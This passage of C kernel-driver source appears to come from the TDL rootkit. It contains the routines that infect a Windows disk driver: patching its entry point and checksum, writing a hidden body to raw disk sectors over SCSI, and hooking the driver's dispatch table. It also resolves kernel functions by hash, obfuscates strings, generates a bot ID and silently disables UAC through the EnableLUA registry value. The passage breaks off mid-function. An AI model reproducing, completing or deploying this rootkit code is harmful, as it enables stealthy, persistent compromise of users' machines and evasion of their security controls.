memcpy(GET_TDL_ADDRESSES->pddDiskMJ,GET_TDL_ADDRESSES->pdoDriver->MajorFunction,sizeof(GET_TDL_ADDRESSES->pddDiskMJ));
#ifdef _WIN64
RtlFillMemoryUlonglong(GET_TDL_ADDRESSES->pdoDriver->MajorFunction,sizeof(GET_TDL_ADDRESSES->pdoDriver->MajorFunction),pvMJStub);
#else
RtlFillMemoryUlong(GET_TDL_ADDRESSES->pdoDriver->MajorFunction,sizeof(GET_TDL_ADDRESSES->pdoDriver->MajorFunction),pvMJStub);
#endif
dwRsrcOffset=RvaToFileOffset(pinhHeader,pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE].VirtualAddress);
pvRsrcOriginalOffset=RtlOffsetToPointer(GET_TDL_ADDRESSES->pvDriverCode,sizeof(TDL_SIGNATURE));
dwRsrcSize=TDL_START_SIZE;
while(dwRsrcSize>0)
{
DWORD dwPartSize;
dwPartSize=GET_TDL_ADDRESSES->dwSectorSize-(dwRsrcOffset%GET_TDL_ADDRESSES->dwSectorSize);
if(dwPartSize>dwRsrcSize)
{
dwPartSize=dwRsrcSize;
}
HIDDEN_SECTOR_ADD(0,dwRsrcOffset,dwPartSize,pvRsrcOriginalOffset);
dwRsrcSize-=dwPartSize;
dwRsrcOffset+=dwPartSize;
pvRsrcOriginalOffset=RtlOffsetToPointer(pvRsrcOriginalOffset,dwPartSize);
}
HIDDEN_SECTOR_ADD(0,RtlPointerToOffset(GET_TDL_ADDRESSES->pdoDriver->DriverStart,&pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress),sizeof(DWORD),&pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress);
HIDDEN_SECTOR_ADD(0,RtlPointerToOffset(GET_TDL_ADDRESSES->pdoDriver->DriverStart,&pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].Size),sizeof(DWORD),&pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].Size);
HIDDEN_SECTOR_ADD(0,RtlPointerToOffset(GET_TDL_ADDRESSES->pdoDriver->DriverStart,&pinhHeader->OptionalHeader.AddressOfEntryPoint),sizeof(DWORD),&pinhHeader->OptionalHeader.AddressOfEntryPoint);
HIDDEN_SECTOR_ADD(0,RtlPointerToOffset(GET_TDL_ADDRESSES->pdoDriver->DriverStart,&pinhHeader->OptionalHeader.CheckSum),sizeof(DWORD),&pinhHeader->OptionalHeader.CheckSum);
for(dwSector=0;dwSector<GET_TDL_ADDRESSES->dwHiddenSectors;dwSector++)
{
svibBuffer.StartingVcn.QuadPart=(ULONGLONG)(GET_TDL_ADDRESSES->thsSectors[dwSector].dwOffset/dwClasterSize);
ZwFsControlFile(hDriver,0,0,0,&iosbStatus,FSCTL_GET_RETRIEVAL_POINTERS,&svibBuffer,sizeof(svibBuffer),&rpbBuffer,sizeof(rpbBuffer));
GET_TDL_ADDRESSES->thsSectors[dwSector].dwSectorOffset=dwFirstSector+(DWORD)_alldiv((ULONGLONG)(GET_TDL_ADDRESSES->thsSectors[dwSector].dwOffset+piInfo.StartingOffset.QuadPart+_allmul(rpbBuffer.Extents[0].Lcn.QuadPart,(LONGLONG)dwClasterSize)),(ULONGLONG)GET_TDL_ADDRESSES->dwSectorSize);
GET_TDL_ADDRESSES->thsSectors[dwSector].dwOffset%=GET_TDL_ADDRESSES->dwSectorSize;
}
ZwCreateSection(&hSection,SECTION_ALL_ACCESS,0,0,PAGE_READWRITE,SEC_COMMIT,hDriver);
dwSize=0;
ZwMapViewOfSection(hSection,NtCurrentProcess(),&pvFile,0,0,0,&dwSize,ViewUnmap,MEM_TOP_DOWN,PAGE_READWRITE);
ZwClose(hSection);
pinhHeaderCache=RtlImageNtHeader(pvFile);
pinhHeaderCache->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress=pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress;
pinhHeaderCache->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].Size=pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].Size;
pinhHeaderCache->OptionalHeader.AddressOfEntryPoint=pinhHeader->OptionalHeader.AddressOfEntryPoint;
pinhHeaderCache->OptionalHeader.CheckSum=pinhHeader->OptionalHeader.CheckSum;
memcpy(RtlOffsetToPointer(pvFile,RvaToFileOffset(pinhHeader,pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE].VirtualAddress)),RtlOffsetToPointer(GET_TDL_ADDRESSES->pvDriverCode,sizeof(TDL_SIGNATURE)),TDL_START_SIZE);
ZwUnmapViewOfSection(NtCurrentProcess(),pvFile);
//ZwClose(hDriver);
TDLFSInit();
_snwprintf(GET_TDL_ADDRESSES->wcTDLConfig,RTL_NUMBER_OF(GET_TDL_ADDRESSES->wcTDLConfig)-1,wcIniFormat,GET_TDL_ADDRESSES->wcFSDevice,GET_TDL_ADDRESSES->wcTDLDirectory);
//////////////////////////////////////////////////////////////////////////
/*
CHAR cDebug[]={'U','P','D','%','w','s',' ','%','d','\n',0};
CHAR cSection[]={'m','a','i','n',0};
CHAR cKey[]={'r','e','b','o','o','t','s',0};
DbgPrint(cDebug,GET_TDL_ADDRESSES->wcTDLConfig,
TDLIniReadDword(GET_TDL_ADDRESSES->wcTDLConfig,cSection,cKey,0));
TDLIniWriteDword(GET_TDL_ADDRESSES->wcTDLConfig,cSection,cKey,
TDLIniReadDword(GET_TDL_ADDRESSES->wcTDLConfig,cSection,cKey,0)+1);
DbgPrint(cDebug,GET_TDL_ADDRESSES->wcTDLConfig,TDLIniReadDword(GET_TDL_ADDRESSES->wcTDLConfig,cSection,cKey,0));
TDLIniWriteDword(GET_TDL_ADDRESSES->wcTDLConfig,cSection,cKey,
TDLIniReadDword(GET_TDL_ADDRESSES->wcTDLConfig,cSection,cKey,0)+1);
*/
//////////////////////////////////////////////////////////////////////////
GET_TDL_ADDRESSES->pvLoadLibraryExA=0;
/*
WCHAR wcIniFormat2[]={L'%',L's',L'\\',L'%',L's',L'\\',L'm',L'u',L't',L'e',L'x','.',L't',L'm',L'p',0};
WCHAR wcFile[MAX_PATH];
_snwprintf(wcFile,RTL_NUMBER_OF(wcFile)-1,wcIniFormat2,
GET_TDL_ADDRESSES->wcFSDevice,GET_TDL_ADDRESSES->wcTDLDirectory);
CHAR cMsg[]={'i','s','a','f','t','e','\n',0};
DbgPrint(cMsg);
BOOL bRet=FALSE;
HANDLE hFile=0;
UNICODE_STRING usFile;
OBJECT_ATTRIBUTES oaAttributes;
IO_STATUS_BLOCK iosbStatus;
RtlInitUnicodeString(&usFile,wcFile);
InitializeObjectAttributes(&oaAttributes,&usFile,OBJ_CASE_INSENSITIVE|OBJ_KERNEL_HANDLE,0,0);
bRet=NT_SUCCESS(ZwOpenFile(hFile,FILE_WRITE_DATA|FILE_READ_DATA|SYNCHRONIZE,
&oaAttributes,&iosbStatus,FILE_SHARE_READ|FILE_SHARE_WRITE,FILE_SYNCHRONOUS_IO_NONALERT));
if(!bRet)
{
CHAR cMsg1[]={'c','r','e','a','t','\n',0};
DbgPrint(cMsg1);
ZwCreateFile(&hFile,SYNCHRONIZE|GENERIC_WRITE,&oaAttributes,&iosbStatus,0,0,
FILE_SHARE_READ,FILE_CREATE,FILE_SYNCHRONOUS_IO_NONALERT,0,0);
}
else
{
CHAR cMsg2[]={'o','p','e','n','o','k','\n',0};
DbgPrint(cMsg2);
PsSetLoadImageNotifyRoutine(ADDRESS_DELTA(PLOAD_IMAGE_NOTIFY_ROUTINE,LoadImageNotify));
}
if(hFile) ZwClose(hFile);
*/
PsSetLoadImageNotifyRoutine(ADDRESS_DELTA(PLOAD_IMAGE_NOTIFY_ROUTINE,LoadImageNotify));
pwqiThread=(PWORK_QUEUE_ITEM)ExAllocatePool(NonPagedPool,sizeof(WORK_QUEUE_ITEM));
if(pwqiThread!=0)
{
ExInitializeWorkItem(pwqiThread,ADDRESS_DELTA(PWORKER_THREAD_ROUTINE,WIKnock),pwqiThread);
ExQueueWorkItem(pwqiThread,DelayedWorkQueue);
}
//KADInit();
WCHAR wcUAC[]={'\\','r','e','g','i','s','t','r','y','\\','m','a','c','h','i','n','e','\\',
'S','O','F','T','W','A','R','E','\\','M','i','c','r','o','s','o','f','t','\\',
'W','i','n','d','o','w','s','\\','C','u','r','r','e','n','t','V','e','r','s','i','o','n','\\',
'P','o','l','i','c','i','e','s','\\','S','y','s','t','e','m',0};
WCHAR wcUACName[]={'E','n','a','b','l','e','L','U','A',0};
DWORD dwUAC=0;
RtlWriteRegistryValue(RTL_REGISTRY_ABSOLUTE,wcUAC,wcUACName,REG_DWORD,&dwUAC,sizeof(dwUAC));
}
}
return STATUS_SUCCESS;
}
NTSTATUS Reinitialize(PDEVICE_OBJECT pdoDevice,BOOLEAN bFsActive)
{
WCHAR wcFormat[]={L'\\',L's',L'y',L's',L't',L'e',L'm',L'r',L'o',L'o',L't',L'\\',L's',L'y',L's',L't',L'e',L'm',L'3',L'2',L'\\',L'd',L'r',L'i',L'v',L'e',L'r',L's',L'\\',L'%',L's','.',L's',L'y',L's',0};
WCHAR wcDriver[MAX_PATH];
OBJECT_ATTRIBUTES oaAttributes;
UNICODE_STRING usFile;
IO_STATUS_BLOCK iosbStatus;
HANDLE hDriver;
_snwprintf(wcDriver,RTL_NUMBER_OF(wcDriver),wcFormat,RtlOffsetToPointer(GET_TDL_ADDRESSES->pdoDriver->DriverName.Buffer,sizeof(L"\\driver")));
RtlInitUnicodeString(&usFile,wcDriver);
InitializeObjectAttributes(&oaAttributes,&usFile,OBJ_CASE_INSENSITIVE|OBJ_KERNEL_HANDLE,0,0);
if(NT_SUCCESS(ZwOpenFile(&hDriver,FILE_READ_DATA|SYNCHRONIZE,&oaAttributes,&iosbStatus,FILE_SHARE_READ,FILE_SYNCHRONOUS_IO_NONALERT)))
{
TDLInit(hDriver);
if(pdoDevice!=0)
{
IoUnregisterFsRegistrationChange(GET_TDL_ADDRESSES->pdoDriver,ADDRESS_DELTA(PDRIVER_FS_NOTIFICATION,Reinitialize));
}
return STATUS_SUCCESS;
}
return STATUS_OBJECT_NAME_NOT_FOUND;
}
__declspec(noinline) VOID TDLEnd()
{
return;
}
NTSTATUS TDLStart(PDRIVER_OBJECT pdoDriver,PUNICODE_STRING pusRegistry)
{
PTDL_START ptsStart;
DWORD dwDelta;
PIMAGE_NT_HEADERS pinhHeader;
PIMAGE_SECTION_HEADER pishHeader;
DWORD dwSection;
__asm
{
call delta
delta:
pop eax
sub eax,offset delta
mov [dwDelta],eax
}
ptsStart=(PTDL_START)RtlOffsetToPointer(TDLStart,dwDelta+TDL_START_SIZE-sizeof(TDL_START));
if((DWORD_PTR)pusRegistry>1)
{
PVOID pvKernel;
PLIST_ENTRY pleEntry;
pleEntry=((PLDR_DATA_TABLE_ENTRY)pdoDriver->DriverSection)->InLoadOrderLinks.Flink;
while(CONTAINING_RECORD(pleEntry,LDR_DATA_TABLE_ENTRY,InLoadOrderLinks)->LoadCount!=0)
{
pleEntry=pleEntry->Flink;
}
pvKernel=CONTAINING_RECORD(pleEntry->Flink,LDR_DATA_TABLE_ENTRY,InLoadOrderLinks)->DllBase;
((PKUSER_SHARED_DATA)(DWORD_PTR)KI_USER_SHARED_DATA)->SystemCallPad[0]=(ULONGLONG)((PExAllocatePool)RtlOffsetToPointer(pvKernel,ptsStart->pExAllocatePool))(NonPagedPool,sizeof(TDL_ADDRESSES));
GET_TDL_ADDRESSES->pvKernel=pvKernel;
GET_TDL_ADDRESSES->pdoDriver=pdoDriver;
pinhHeader=(PIMAGE_NT_HEADERS)RtlOffsetToPointer(pdoDriver->DriverStart,((PIMAGE_DOS_HEADER)pdoDriver->DriverStart)->e_lfanew);
pishHeader=IMAGE_FIRST_SECTION(pinhHeader);
for(dwSection=0;dwSection<pinhHeader->FileHeader.NumberOfSections;dwSection++)
{
pishHeader->Characteristics&=~IMAGE_SCN_MEM_DISCARDABLE;
if(*(PDWORD)pishHeader->Name=='TINI')
{
*pishHeader->Name=0;
}
pishHeader++;
}
((PIoRegisterFsRegistrationChange)RtlOffsetToPointer(pvKernel,ptsStart->pIoRegisterFsRegistrationChange))(pdoDriver,(PDRIVER_FS_NOTIFICATION)RtlOffsetToPointer(TDLStart,dwDelta));
return ((PDRIVER_INITIALIZE)RtlOffsetToPointer(pdoDriver->DriverStart,ptsStart->pdiOEP))(pdoDriver,pusRegistry);
}
else
{
PDEVICE_OBJECT pdoDevice;
GET_TDL_ADDRESSES->pvDriverCode=((PExAllocatePool)RtlOffsetToPointer(GET_TDL_ADDRESSES->pvKernel,ptsStart->pExAllocatePool))(NonPagedPool,ALIGNUP(sizeof(TDL_SIGNATURE)+TDL_START_SIZE+(DWORD_PTR)TDLEnd-(DWORD_PTR)TDLEntry,0x200));
pdoDevice=GET_TDL_ADDRESSES->pdoDriver->DeviceObject;
while(pdoDevice!=0)
{
BYTE bDeviceName[MAX_PATH];
DWORD dwSize;
if(NT_SUCCESS(((PObQueryNameString)RtlOffsetToPointer(GET_TDL_ADDRESSES->pvKernel,ptsStart->pObQueryNameString))(pdoDevice,(POBJECT_NAME_INFORMATION)bDeviceName,sizeof(bDeviceName),&dwSize)))
{
OBJECT_ATTRIBUTES oaAttributes;
IO_STATUS_BLOCK iosbStatus;
LARGE_INTEGER liOffset;
HANDLE hDisk;
liOffset.QuadPart=ptsStart->ullDriverCodeOffset;
InitializeObjectAttributes(&oaAttributes,&((POBJECT_NAME_INFORMATION)bDeviceName)->Name,OBJ_CASE_INSENSITIVE|OBJ_KERNEL_HANDLE,0,0);
if(NT_SUCCESS(((PZwOpenFile)RtlOffsetToPointer(GET_TDL_ADDRESSES->pvKernel,ptsStart->pZwOpenFile))(&hDisk,FILE_READ_DATA|FILE_WRITE_DATA|SYNCHRONIZE,&oaAttributes,&iosbStatus,FILE_SHARE_READ|FILE_SHARE_WRITE,FILE_SYNCHRONOUS_IO_NONALERT|FILE_WRITE_THROUGH))
&&NT_SUCCESS(((PZwReadFile)RtlOffsetToPointer(GET_TDL_ADDRESSES->pvKernel,ptsStart->pZwReadFile))(hDisk,0,0,0,&iosbStatus,GET_TDL_ADDRESSES->pvDriverCode,(DWORD)ALIGNUP(sizeof(TDL_SIGNATURE)+TDL_START_SIZE+(DWORD_PTR)TDLEnd-(DWORD_PTR)TDLEntry,0x200),&liOffset,0))
&&(*(PDWORD)GET_TDL_ADDRESSES->pvDriverCode==TDL_SIGNATURE))
{
((PIoUnregisterFsRegistrationChange)RtlOffsetToPointer(GET_TDL_ADDRESSES->pvKernel,ptsStart->pIoUnregisterFsRegistrationChange))(GET_TDL_ADDRESSES->pdoDriver,(PDRIVER_FS_NOTIFICATION)RtlOffsetToPointer((DWORD_PTR)dwDelta,TDLStart));
return ((PDRIVER_INITIALIZE)RtlOffsetToPointer(GET_TDL_ADDRESSES->pvDriverCode,sizeof(TDL_SIGNATURE)+TDL_START_SIZE))(GET_TDL_ADDRESSES->pdoDriver,(PUNICODE_STRING)pdoDevice);
}
}
pdoDevice=pdoDevice->NextDevice;
}
}
return STATUS_SUCCESS;
}
NTSTATUS DriverInfect(PWCHAR pwcDriver,PDEVICE_OBJECT pdoDevice,PHANDLE phDriver)
{
NTSTATUS ntsResult;
READ_CAPACITY_DATA rcdData;
ntsResult=STATUS_VOLUME_DIRTY;
if(NT_SUCCESS(SCSICmd(GET_TDL_ADDRESSES->pdoDeviceDisk,GET_TDL_ADDRESSES->pdoDeviceDisk->DriverObject->MajorFunction[IRP_MJ_SCSI],SCSIOP_READ_CAPACITY,SRB_FLAGS_DATA_IN,&rcdData,sizeof(rcdData),0)))
{
LARGE_INTEGER liOffset;
liOffset.QuadPart=_allmul((ULONGLONG)_byteswap_ulong(rcdData.LogicalBlockAddress),(ULONGLONG)_byteswap_ulong(rcdData.BytesPerBlock))-ALIGNUP(sizeof(TDL_SIGNATURE)+TDL_START_SIZE+(DWORD_PTR)TDLEnd-(DWORD_PTR)TDLEntry,0x200);
GET_TDL_ADDRESSES->ullFSOffset=liOffset.QuadPart;
ntsResult=STATUS_INSUFFICIENT_RESOURCES;
GET_TDL_ADDRESSES->pvDriverCode=ExAllocatePool(NonPagedPool,(DWORD)ALIGNUP(sizeof(TDL_SIGNATURE)+TDL_START_SIZE+(DWORD_PTR)TDLEnd-(DWORD_PTR)TDLEntry,0x200));
if(GET_TDL_ADDRESSES->pvDriverCode!=0)
{
DWORD dwSectorOffset;
OBJECT_ATTRIBUTES oaAttributes;
IO_STATUS_BLOCK iosbStatus;
UNICODE_STRING usDriver;
RtlInitUnicodeString(&usDriver,pwcDriver);
InitializeObjectAttributes(&oaAttributes,&usDriver,OBJ_CASE_INSENSITIVE|OBJ_KERNEL_HANDLE,0,0);
ntsResult=STATUS_FILE_LOCK_CONFLICT;
if(NT_SUCCESS(ZwOpenFile(phDriver,FILE_READ_DATA|SYNCHRONIZE,&oaAttributes,&iosbStatus,FILE_SHARE_READ,FILE_SYNCHRONOUS_IO_NONALERT|FILE_WRITE_THROUGH)))
{
FILE_STANDARD_INFORMATION fsiInfo;
if(NT_SUCCESS(ZwQueryInformationFile(*phDriver,&iosbStatus,&fsiInfo,sizeof(fsiInfo),FileStandardInformation)))
{
HANDLE hSection;
if(NT_SUCCESS(ZwCreateSection(&hSection,SECTION_ALL_ACCESS,0,0,PAGE_READWRITE,SEC_COMMIT,*phDriver)))
{
SIZE_T stSize=0;
PVOID pvFile=0;
if(NT_SUCCESS(ZwMapViewOfSection(hSection,NtCurrentProcess(),&pvFile,0,0,0,&stSize,ViewUnmap,MEM_TOP_DOWN,PAGE_READWRITE)))
{
PIMAGE_NT_HEADERS pinhHeader;
TDL_START tsStart;
*(PDWORD)GET_TDL_ADDRESSES->pvDriverCode=TDL_SIGNATURE;
pinhHeader=RtlImageNtHeader(pvFile);
memcpy(RtlOffsetToPointer(GET_TDL_ADDRESSES->pvDriverCode,sizeof(TDL_SIGNATURE)),RtlOffsetToPointer(pvFile,RvaToFileOffset(pinhHeader,pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE].VirtualAddress)),TDL_START_SIZE);
memcpy(RtlOffsetToPointer(GET_TDL_ADDRESSES->pvDriverCode,sizeof(TDL_SIGNATURE)+TDL_START_SIZE),TDLEntry,(DWORD_PTR)TDLEnd-(DWORD_PTR)TDLEntry);
dwSectorOffset=(DWORD)_alldiv(liOffset.QuadPart,(ULONGLONG)0x200);
ntsResult=STATUS_MEDIA_WRITE_PROTECTED;
if(NT_SUCCESS(SCSICmd(GET_TDL_ADDRESSES->pdoDeviceDisk,GET_TDL_ADDRESSES->pdoDeviceDisk->DriverObject->MajorFunction[IRP_MJ_SCSI],SCSIOP_WRITE,SRB_FLAGS_DATA_OUT,GET_TDL_ADDRESSES->pvDriverCode,(DWORD)ALIGNUP(sizeof(TDL_SIGNATURE)+TDL_START_SIZE+(DWORD_PTR)TDLEnd-(DWORD_PTR)TDLEntry,0x200),dwSectorOffset)))
{
ntsResult=STATUS_SUCCESS;
GET_TDL_ADDRESSES->pvKernel=GetNtoskrnlBase();
tsStart.pExAllocatePool=(PExAllocatePool)(DWORD_PTR)RtlPointerToOffset(GET_TDL_ADDRESSES->pvKernel,GetProcedureAddressByHash(GET_TDL_ADDRESSES->pvKernel,0xde45e96c));
tsStart.pdiOEP=(PDRIVER_INITIALIZE)(DWORD_PTR)pinhHeader->OptionalHeader.AddressOfEntryPoint;
tsStart.pObQueryNameString=(PObQueryNameString)(DWORD_PTR)RtlPointerToOffset(GET_TDL_ADDRESSES->pvKernel,GetProcedureAddressByHash(GET_TDL_ADDRESSES->pvKernel,0xacc76391));
tsStart.pZwOpenFile=(PZwOpenFile)(DWORD_PTR)RtlPointerToOffset(GET_TDL_ADDRESSES->pvKernel,GetProcedureAddressByHash(GET_TDL_ADDRESSES->pvKernel,0xe1958d63));
tsStart.ullDriverCodeOffset=liOffset.QuadPart;
tsStart.pZwReadFile=(PZwReadFile)(DWORD_PTR)RtlPointerToOffset(GET_TDL_ADDRESSES->pvKernel,GetProcedureAddressByHash(GET_TDL_ADDRESSES->pvKernel,0xba157c0f));
tsStart.pIoRegisterFsRegistrationChange=(PIoRegisterFsRegistrationChange)(DWORD_PTR)RtlPointerToOffset(GET_TDL_ADDRESSES->pvKernel,GetProcedureAddressByHash(GET_TDL_ADDRESSES->pvKernel,0xe59d219f));
tsStart.pIoUnregisterFsRegistrationChange=(PIoUnregisterFsRegistrationChange)(DWORD_PTR)RtlPointerToOffset(GET_TDL_ADDRESSES->pvKernel,GetProcedureAddressByHash(GET_TDL_ADDRESSES->pvKernel,0x9a77f3d8));
tsStart.dwSectionSecurityVirtualAddress=pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress;
tsStart.dwSectionSecuritySize=pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].Size;
tsStart.dwCheckSum=pinhHeader->OptionalHeader.CheckSum;
memcpy(MAKE_PTR(pvFile,RvaToFileOffset(pinhHeader,pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE].VirtualAddress),PVOID),(PVOID)TDLStart,(DWORD_PTR)DriverInfect-(DWORD_PTR)TDLStart);
memcpy(MAKE_PTR(pvFile,RvaToFileOffset(pinhHeader,pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE].VirtualAddress)+TDL_START_SIZE-sizeof(TDL_START),PVOID),&tsStart,sizeof(tsStart));
pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress=0;
pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].Size=0;
pinhHeader->OptionalHeader.AddressOfEntryPoint=pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE].VirtualAddress;
pinhHeader->OptionalHeader.CheckSum=0;
pinhHeader->OptionalHeader.CheckSum=PEChecksum(pvFile,fsiInfo.EndOfFile.LowPart,0);
}
ZwUnmapViewOfSection(NtCurrentProcess(),pvFile);
}
ZwClose(hSection);
}
}
}
}
}
return ntsResult;
}
DWORD DriverEntry(PDRIVER_OBJECT pdoDriver,PUNICODE_STRING pusRegistry)
{
//CHAR cDebug[]={'T','D','L','\n',0};
//DbgPrint(cDebug);
CHAR cBotID[0x10+1];
WCHAR wcBotID[0x10+sizeof(L'\\')+1];
WCHAR wcBotIDFormat[]={L'\\',L'%',L'S',0};
OBJECT_ATTRIBUTES oaAttributes;
HANDLE hEvent;
NTSTATUS ntsStatus=STATUS_OBJECT_NAME_COLLISION;
UNICODE_STRING usName;
GenerateBotID(cBotID,RTL_NUMBER_OF(cBotID));
_snwprintf(wcBotID,RTL_NUMBER_OF(wcBotID),wcBotIDFormat,cBotID);
RtlInitUnicodeString(&usName,wcBotID);
InitializeObjectAttributes(&oaAttributes,&usName,OBJ_CASE_INSENSITIVE|OBJ_KERNEL_HANDLE,0,0);
if(NT_SUCCESS(ZwCreateEvent(&hEvent,EVENT_ALL_ACCESS,&oaAttributes,NotificationEvent,TRUE)))
{
WCHAR wcVolume[]={L'\\',L's',L'y',L's',L't',L'e',L'm',L'r',L'o',L'o',L't',0};
HANDLE hVolumeLink;
ntsStatus=STATUS_LINK_FAILED;
((PKUSER_SHARED_DATA)(DWORD_PTR)KI_USER_SHARED_DATA)->SystemCallPad[0]=(ULONGLONG)ExAllocatePool(NonPagedPool,sizeof(TDL_ADDRESSES));
memset(GET_TDL_ADDRESSES,0,sizeof(TDL_ADDRESSES));
strncpy(GET_TDL_ADDRESSES->cBotID,cBotID,sizeof(GET_TDL_ADDRESSES->cBotID));
RtlInitUnicodeString(&usName,wcVolume);
InitializeObjectAttributes(&oaAttributes,&usName,OBJ_CASE_INSENSITIVE|OBJ_KERNEL_HANDLE,0,0);
if(NT_SUCCESS(ZwOpenSymbolicLinkObject(&hVolumeLink,GENERIC_READ,&oaAttributes)))
{
WCHAR wcSystemRoot[MAX_PATH];
usName.Buffer=wcSystemRoot;
usName.MaximumLength=sizeof(wcSystemRoot);
if(NT_SUCCESS(ZwQuerySymbolicLinkObject(hVolumeLink,&usName,0)))
{
HANDLE hVolumeDirectory;
WCHAR wcVolumeDevice[MAX_PATH];
WCHAR wcFormatDevice[]={L'\\',L'?',L'?',L'\\',L'g',L'l',L'o',L'b',L'a',L'l',L'r',L'o',L'o',L't',L'%',L'w',L'Z',0};
*wcschr(wcschr(usName.Buffer+sizeof(WCHAR),L'\\')+sizeof(WCHAR),L'\\')=0;
_snwprintf(wcVolumeDevice,RTL_NUMBER_OF(wcVolumeDevice),wcFormatDevice,&usName);
RtlInitUnicodeString(&usName,wcVolumeDevice);
ntsStatus=STATUS_FILE_IS_A_DIRECTORY;
if(NT_SUCCESS(ZwOpenDirectoryObject(&hVolumeDirectory,DIRECTORY_QUERY,&oaAttributes)))
{
PDIRECTORY_BASIC_INFORMATION pdbiInfo;
pdbiInfo=(PDIRECTORY_BASIC_INFORMATION)ExAllocatePool(PagedPool,PAGE_SIZE);
if(pdbiInfo!=0)
{
DWORD dwSize;
DWORD dwContext=0;
ntsStatus=STATUS_BUFFER_TOO_SMALL;
if(NT_SUCCESS(ZwQueryDirectoryObject(hVolumeDirectory,pdbiInfo,PAGE_SIZE,FALSE,FALSE,&dwContext,&dwSize)))
{
ntsStatus=STATUS_OBJECT_NAME_NOT_FOUND;
for(dwContext=0;pdbiInfo[dwContext].ObjectName.Length!=0;dwContext++)
{
WCHAR wcDevice[]={L'd',L'e',L'v',L'i',L'c',L'e',0};
if((*(PDWORD)pdbiInfo[dwContext].ObjectName.Buffer=='R\0D\0')
&&(_wcsnicmp(pdbiInfo[dwContext].ObjectTypeName.Buffer,wcDevice,pdbiInfo[dwContext].ObjectTypeName.Length/sizeof(WCHAR))==0))
{
WCHAR wcFormatObject[]={L'%',L's',L'\\',L'%',L'w',L'Z',0};
HANDLE hVolumeDevice;
IO_STATUS_BLOCK iosbStatus;
ntsStatus=STATUS_OBJECT_NO_LONGER_EXISTS;
_snwprintf(wcVolumeDevice,RTL_NUMBER_OF(wcVolumeDevice),wcFormatObject,wcSystemRoot,&pdbiInfo[dwContext].ObjectName);
RtlInitUnicodeString(&usName,wcVolumeDevice);
if(NT_SUCCESS(ZwOpenFile(&hVolumeDevice,FILE_READ_DATA|SYNCHRONIZE,&oaAttributes,&iosbStatus,FILE_SHARE_READ|FILE_SHARE_WRITE,FILE_SYNCHRONOUS_IO_NONALERT)))
{
PFILE_OBJECT pfoDriver;
ntsStatus=STATUS_GRAPHICS_TOO_MANY_REFERENCES;
if(NT_SUCCESS(ObReferenceObjectByHandle(hVolumeDevice,SYNCHRONIZE,0,KernelMode,(PVOID*)&pfoDriver,0)))
{
WCHAR wcFormatDriverPath[]={L'\\',L's',L'y',L's',L't',L'e',L'm',L'r',L'o',L'o',L't',L'\\',L's',L'y',L's',L't',L'e',L'm',L'3',L'2',L'\\',L'd',L'r',L'i',L'v',L'e',L'r',L's',L'\\',L'%',L's','.',L's',L'y',L's',0};
WCHAR wcPath[MAX_PATH];
HANDLE hDriver;
GET_TDL_ADDRESSES->pdoDeviceDisk=((PDEVOBJ_EXTENSION_REAL)pfoDriver->DeviceObject->DeviceObjectExtension)->AttachedTo;
while(((PDEVOBJ_EXTENSION_REAL)GET_TDL_ADDRESSES->pdoDeviceDisk->DeviceObjectExtension)->AttachedTo!=0)
{
GET_TDL_ADDRESSES->pdoDeviceDisk=((PDEVOBJ_EXTENSION_REAL)GET_TDL_ADDRESSES->pdoDeviceDisk->DeviceObjectExtension)->AttachedTo;
}
GET_TDL_ADDRESSES->pdoDriver=GET_TDL_ADDRESSES->pdoDeviceDisk->DriverObject;
_snwprintf(wcPath,RTL_NUMBER_OF(wcPath)-1,wcFormatDriverPath,RtlOffsetToPointer(GET_TDL_ADDRESSES->pdoDriver->DriverName.Buffer,sizeof(L"\\driver\\")-sizeof(WCHAR)));
ntsStatus=DriverInfect(wcPath,GET_TDL_ADDRESSES->pdoDeviceDisk,&hDriver);
if(NT_SUCCESS(ntsStatus))
{
WCHAR wcLinkDriver[]={L'\\',L't',L'd',L'r',L'v',0};
WCHAR wcLinkDevice[]={L'\\',L't',L'd',L'e',L'v',0};
HANDLE hLink;
UNICODE_STRING usLink;
SECURITY_DES*****OR sdSecurity;
RtlCreateSecurityDes*****or(&sdSecurity,SECURITY_DES*****OR_REVISION);
RtlSetDaclSecurityDes*****or(&sdSecurity,TRUE,(PACL)NULL,FALSE);
GetEPNameOffset();
ntsStatus=((PTDLInit)RtlOffsetToPointer(GET_TDL_ADDRESSES->pvDriverCode,sizeof(TDL_SIGNATURE)+TDL_START_SIZE+(DWORD_PTR)TDLInit-(DWORD_PTR)TDLEntry))(hDriver);
if(NT_SUCCESS(ntsStatus))
{
RtlInitUnicodeString(&usName,wcLinkDriver);
RtlInitUnicodeString(&usLink,RtlOffsetToPointer(GET_TDL_ADDRESSES->pdoDriver->DriverName.Buffer,sizeof(L"\\driver\\")-sizeof(WCHAR)));
InitializeObjectAttributes(&oaAttributes,&usName,OBJ_CASE_INSENSITIVE,0,0);
ZwCreateSymbolicLinkObject(&hLink,SYMBOLIC_LINK_ALL_ACCESS,&oaAttributes,&usLink);
RtlInitUnicodeString(&usName,wcLinkDevice);
